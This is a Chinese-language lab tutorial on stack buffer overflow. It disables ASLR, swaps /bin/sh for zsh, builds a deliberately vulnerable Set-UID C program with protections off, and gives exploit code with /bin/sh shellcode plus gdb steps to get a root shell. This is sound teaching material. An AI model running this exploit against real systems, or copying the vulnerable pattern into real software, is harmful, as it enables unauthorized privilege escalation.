缓冲区溢出

一、实验介绍

　　缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

二、实验准备

　　输入命令安装一些用于编译 32 位 C 程序的软件包：

　　sudo apt-get update

　　sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev

　　sudo apt-get install -y python3.6-gdbm gdb

三、实验过程

　　1、Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

　　sudo sysctl -w kernel.randomize_va_space=0

（示例）

 

　　2、此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。

　　linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

　　sudo su

　　cd /bin

　　rm sh

　　ln -s zsh sh

　　exit

 

　　3、输入命令 linux32 进入32位linux环境。输入 /bin/bash 使用bash：

 

　　4、在 /tmp 目录下新建一个 stack.c 文件：

　　cd /tmp

　　vim stack.c

　　输入如下代码：

　　#include <stdlib.h>

　　#include <stdio.h>

　　#include <string.h>

　　int bof(char *str)

　　{

　　　　char buffer[12];

　　　　strcpy(buffer, str);

　　　　return 1;

　　}

　　int main(int argc, char **argv)

　　{

　　　　char str[517];

　　　　FILE *badfile;

　　　　badfile = fopen("badfile", "r");

　　　　fread(str, sizeof(char), 517, badfile);

　　　　bof(str);

　　　　printf("Returned Properly\n");

　　　　return 1;

　　}

　　编译该程序，并设置 SET-UID。命令如下：

　　sudo su

　　gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

　　chmod u+s stack

　　exit

 

　　5、在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

　　#include <stdlib.h>

　　#include <stdio.h>

　　#include <string.h>

　　char shellcode[] = "\x31\xc0"

　　　　　　　　　　"\x50"

　　　　　　　　　　"\x68""//sh"

　　　　　　　　　　"\x68""/bin"

　　　　　　　　　　"\x89\xe3"

　　　　　　　　　　"\x50"

　　　　　　　　　　"\x53"

　　　　　　　　　　"\x89\xe1"

　　　　　　　　　　"\x99" //cdq

　　　　　　　　　　"\xb0\x0b"

　　　　　　　　　　"\xcd\x80"

　　　　　　　　　　；

　　void main(int argc, char **argv)

　　{

　　　　char buffer[517];

　　　　FILE *badfile;

　　　　memset(&buffer, 0x90, 517);

　　　　strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");

　　　　strcpy(buffer + 100, shellcode);

　　　　badfile = fopen("./badfile", "w");

　　　　fwrite(buffer, 517, 1, badfile);

　　　　fclose(badfile);

　　}

　　

　　注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面将详细介绍如何获得我们需要添加的地址。

　　现在要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：

　　gdb stack

　　disass main

　　结果如图：

 

 　　esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。（地址可能不一致，请根据显示结果自行修改。）

　　接下来的操作：

　　# 设置断点

　　b *0x080484ee

　　r

　　i r $esp

（示例）

 

 

 　　最后获得的这个 0xffffcfb0 就是 str 的地址。

　　根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014

　　现在修改 exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff，注意顺序是反的。

　　然后，编译 exploit.c 程序：

　　gcc -m32 -o exploit exploit.c

 

　　6、先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

 

 　　可见，通过攻击，获得了root 权限！缓冲区溢出攻击成功。

　　（如果不能攻击成功，提示”段错误“，那么请重新使用 gdb 反汇编，计算内存地址。）